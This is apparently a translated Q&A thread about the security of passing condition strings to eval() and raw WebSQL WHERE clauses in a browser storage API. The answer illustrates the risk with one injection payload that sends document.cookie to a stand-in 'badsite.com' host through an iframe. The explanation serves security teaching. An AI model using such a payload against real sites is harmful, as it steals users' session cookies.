2

我几乎完成了一个脚本的开发，该脚本公开了一个 API，该 API 可用于在任何 Web 浏览器存储技术上统一执行存储操作。

我正在处理的最后一点功能是条件检索和删除操作，（当然）需要提供一个条件表达式，该表达式将被评估（使用 eval() 或者在 webSQL 的情况下，直接插入在 WHERE 之后）。

我需要至少两个成熟的解析器（一个用于 webSQL，一个用于 indexedDB）来验证输入是否有效，但在安全评估之后，似乎不需要解析输入，甚至对其进行清理。

我有点不确定评估原始字符串的安全隐患，所以我希望能对我的安全评估提供一些意见：

用户：

评估用户直接或间接提供的输入应该不是问题，因为存储技术的 sanboxed 特性（他/她将操作只有他/她可以访问的给定来源的数据），并且事实上用户无法直接在浏览器中完成的 API 无法完成。

第三方：

存储技术遵循同源策略，因此无法访问属于其他源的沙盒存储区域

我觉得我在评估中忽略了一个或多个可能的安全问题；是这样吗？还是评估（大部分）正确？

4

1 回答 1

1

真正相关的安全问题是条件字符串的来源。只要字符串始终来自用户，就没有风险——eval无论如何，用户都可以直接从 JS 控制台进行任何操作。一旦您允许字符串来自直接用户输入之外的某个地方，您就进入了危险的领域。

假设一个站点在其代码中使用您的 API 脚本。假设它们还允许您保存您最喜欢的搜索条件。进一步假设他们允许您与其他用户共享您最喜欢的搜索列表。当您查看共享条件时，您正在加载另一个用户提供的字符串。

假设您的一个向您发送了一个链接以查看他保存的条件：

foo==5; e=document.createElement(iframe); e.src='http://badsite.com/stealcookies?'+document.cookie;document.body.appendChild(e);

当您将条件加载到您的数据查看器中时，您只是将您的 cookie 数据暴露给了另一个网站。

对于 WebSQL 注入（与eval.

于 2012-12-19T18:27:05.890 回答